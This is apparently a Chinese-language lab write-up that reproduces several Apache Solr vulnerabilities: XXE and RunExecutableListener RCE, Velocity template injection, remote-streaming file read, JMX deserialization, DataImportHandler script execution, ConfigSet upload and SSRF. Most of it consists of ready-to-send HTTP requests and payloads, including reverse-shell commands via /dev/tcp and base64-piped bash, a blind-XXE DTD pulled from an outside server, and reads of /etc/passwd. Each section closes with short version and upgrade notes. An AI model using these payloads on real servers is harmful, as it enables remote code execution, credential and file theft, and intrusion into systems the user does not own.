apachesolr是由Apache软件基金会的apachesolr项目以开放、协作的方式开发的。2004年,Solr由CNET Networks的Yonik Seeley创建,作为一个内部项目,为公司网站添加搜索功能。
Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。
Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。
在Apache Solr 7.1之前的版本和Apache Lucene 7.1之前的版本中,通过利用XXE并使用Config API add listener命令来访问RunExecutableListener类,可以执行远程代码。Elasticsearch虽然使用Lucene,但不易受此影响。请注意,XML查询解析器中存在XML外部实体扩展漏洞,默认情况下,该漏洞可用于参数为deftype=xmlparser的任何查询请求,可利用该漏洞将恶意数据上载到/upload请求处理程序,或作为盲XXE使用ftp包装器从Solr服务器读取任意本地文件。另请注意,第二个漏洞与使用在所有受影响的Solr版本上可用的RunExecutableListener执行远程代码有关。
1、Docker拉一个环境。
2、新建一个listener,“exe”,“dir”,“args”内容也都可以通过http的方式传入。
POC:
POST /solr/demo/config HTTP/1.1
Host: ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 169
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/"," args":["-c", "touch /tmp/test "]}}
POC:
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15
[{"id":"test"}]
可以看到创建成功
因为我这里是启的是docker环境容器中的主机ping不通别的机器,所以只能用本虚拟来实验的。
POC
POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","bash-i>&/dev/tcp/ip/port0>&1"]}}
Apache solr<7.1.0版本
升级更高版本
添加Solr访问控制,包括禁止本地直接未授权访问
修改相关java文件
在Apache Solr 7.1之前的版本和Apache Lucene 7.1之前的版本中,通过利用XXE并使用Config API add listener命令来访问RunExecutableListener类,可以执行远程代码。Elasticsearch虽然使用Lucene,但不易受此影响。请注意,XML查询解析器中存在XML外部实体扩展漏洞,默认情况下,该漏洞可用于参数为deftype=xmlparser的任何查询请求,可利用该漏洞将恶意数据上载到/upload请求处理程序,或作为盲XXE使用ftp包装器从Solr服务器读取任意本地文件。另请注意,第二个漏洞与使用在所有受影响的Solr版本上可用的RunExecutableListener执行远程代码有关。
Docker拉一个环境。
因为这里是一个bindXXE,在这里需要自己构建一个payload。
在另一台服务器web站点下创建一个.dtd文件
<!ENTITY % ent " data SYSTEM ':%file;'>">
构造payload后url加密
DOCTYPE root[%ext;%ent;]><r>&data;r>&wt=xml&defType=xmlparser
编码后的payload
%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root[%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.x.x%2ftest.dtd%22%3E%25ext%3b%25ent%3b]%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser
Apache solr<7.1.0版本
升级更高版本
添加Solr访问控制,包括禁止本地直接未授权访问
修改相关java文件
Apache Solr 存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标服务器敏感文件。
漏洞利用需要两步,首先利用Config API打开默认关闭的requestDispatcher.requestParsers.enableRemoteStreaming开关,然后进行文件读取。值得注意的是,默认情况下requestDispatcher.requestParsers.enableRemoteStreaming是关闭,攻击者并不能进行任意文件读取。所以官方并不认为这是一个漏洞,但是从攻击者角度来说可以通过Solr提供的Config API远程打开此开关,然后进行攻击,且Apache Solr生产环境下大多保持默认配置,并无身份校验。
在登录到后台的情况下,执行以下目录用来或去name名称,这里为demo。
/solr/admin/cores?indexInfo=false&wt=json
构造config的POST包发送以用来判断是否存在漏洞。
POST /solr/demo/config HTTP/1.1
Host: 192.168.220.131:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
http://IP:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id %27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
https://github.com/jas502n/solr_rce
构造config的POST包发送更改配置以用来判断是否存在漏洞。
注意:Content-Type这里验证漏洞时用json方式发包,因为config是json文件读取。
POST /solr/demo/config HTTP/1.1
Host: IP:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 80
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
构造config的POST包发送更改配置以用来判断是否存在漏洞。
注意:Content-Type这里验证漏洞时用x-www-form-urlencoded方式发包,因为是读取系统文件采用url编码读取。
POST /solr/demo/debug/dump?param=ContentStreams HTTP/1.1
Host: IP:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
stream.url=file:///etc/passwd
Apache Solr <= 8.8.1版本
官方文档
https://lucene.apache.org/solr/guide/8_6/authentication-and-authorization-plugins.html
Apache Solr 中的 ConfigAPI 允许设置一个 jmx.serviceUrl,它将创建一个新的 JMXConnectorServerFactory,并通过“绑定”操作触发对目标 RMI/LDAP 服务器的调用。恶意的 RMI 服务器可以响应任意的对象,这些对象将在 Solr 端使用 java 的 ObjectInputStream 反序列化,这被认为是不安全的。这种类型的漏洞可以利用 ysoserial 工具。根据目标类路径,攻击者可以使用其中一个“gadget chain”来触发 Solr 端上的远程代码执行。
Docker拉一个5.5的环境
docker pull solr:5.5.5
docker run -d -p 8983:8983 --name my_solr solr:5.5.5
docker exec -it --user=solr my_solr bin/solr create_core -c test
虚拟机没试成功我在win上搭建了一个环境。
先用ysoserial.jar工具在本地 6666 端口创建一个 rmi server,当反序列化数据 发送到 Server 中,然后 Server 中进行反序列化操作,并开启指定端口,然后在通过 JRMPClient 去发送攻击 payload
访问路径并抓包http://IP:8983/solr/test/config,变换请求方式,将Content-Type修改为json,添加content-length及payload
{“set-property” : {“jmx.serviceUrl” : “service:jmx:rmi:///jndi/rmi://IP:6666/obj”}}
如果您看到此错误:“Non-annotation type in annotation serial stream”这意味着ApacheSolr是使用java版本>运行的。JRE 7u25这个POC不能工作
否则你就会看到这个错误:“undeclared checked exception; nested exception is”PoC应该能工作。
Apache Solr 5.0.0-5.5.5 版本
Apache Solr 6.0.0-6.6.5 版本
通过精准访问控制功能,限制包含特定JSON数据(service:jmx:rmi)的POST请求,拦截利用该漏洞发起的远程代码执行攻击请求。
Apache Solr DataImport功能 在开启Debug模式时,可以接收来自请求的"dataConfig"参数,这个参数的功能与data-config.xml一样,不过是在开启Debug模式时方便通过此参数进行调试,并且Debug模式的开启是通过参数传入的。在dataConfig参数中可以包含script恶意脚本导致远程代码执行。
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
访问/solr/admin/cores获取core信息
打开刚刚创建好的test核心,选择Dataimport功能并选择debug模式在下面创建POC
POC:
<dataConfig>
<dataSource type="URLDataSource"/>
<script>
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/shell");
}
]]>script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
document>
dataConfig>
点击Execute with this Confuguration会发送以下请求包,则会创建一个文件
反弹shell玩法,重复以上同样步骤,修改poc。
POC:
<dataConfig>
<dataSource type="URLDataSource"/>
<script>
function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,加密后的linux反弹shell }|{base64,-d}|{bash,-i}");
}
]]>script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
document>
dataConfig>
Apache Solr < 8.2.0版本
https://github.com/apache/lucene-solr/commit/325824cd391c8e71f36f17d687f52344e50e9715
在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。
整个利用链流程:
上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrVelocity模板进行RCE
在这里我启的是一个7.0.0的服务。
solr start -e cloud -force启动一个cloud示例
\server\solr\configsets_default\conf目录下的solrconfig.xml文件中params.resource.loader.enabled的值设置为true(为远程命令执行做准备),conf目录下所有文件打包成一个压缩文件
Linux下打包,zip -r - * > test.zip。
通过上传API将zip上传进入ZooKeeper,注册一个testset的配置文件
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @test.zip http://IP:8983/solr/admin/configs?action=UPLOAD&name=testset
curl http://IP:8983/api/cluster/configs?omitHeader=true
curl http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=mytest2&baseConfigSet=mytest&configSetProp.immutable=false&wt=xml&omitHeader=true
从Zookeeper中选择之前的testset恶意的solrconfig.xml创建新的配置文件。
curl -v "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=testset&numShards=1&replicationFactor=1&wt=xml&collection.configName=test2"
EXP
http://IP:8983/solr/testset /select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2
升级Apache Solr 8.6.2版本以上。
Apache Solr 8.8.2版本之前存在SSRF漏洞和任意文件读取漏洞,攻击者可以利用该漏洞进行SSRF攻击,使得服务端发起请求,成功利用该漏洞可造成内网信息探测。
由于服务没有core,这里先建一个core,但是报错了。
Solr已经在server/solr目录下已经创建了名字为new_core的文件夹,只需要把server/solr/configsets/default文件夹下的conf目录整个拷贝到testcore文件夹下
再回到创建页面刷新就可以了
在登录到后台的情况下,执行以下目录用来或去name名称,这里为testcore。
/solr/admin/cores?indexInfo=false&wt=json
判断是否存在漏洞,将下面poc发送。
POST /solr/testcore/config HTTP/1.1
Host: IP:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 84
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
POST /solr/testcore/debug/dump?param=ContentStreams HTTP/1.1
Host: IP:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
stream.url=file:///C://windows/win.ini&fileExt=txt
构造SSRF的GET数据包
GET /solr/{core}/replication?command=fetchindex&masterUrl={dnslog} HTTP/1.1
Host: IP:PORT
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Referer: http://IP/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Apache Solr < 8.8.2
Apache Solr >= 8.8.2
https://github.com/mpgn/CVE-2019-0192
http://www.noofi.cn/?post=30
https://github.com/Imanfeng/Apache-Solr-RCE#cve-2020-13957
https://www.cnblogs.com/ph4nt0mer/p/13822167.html
致谢skay大佬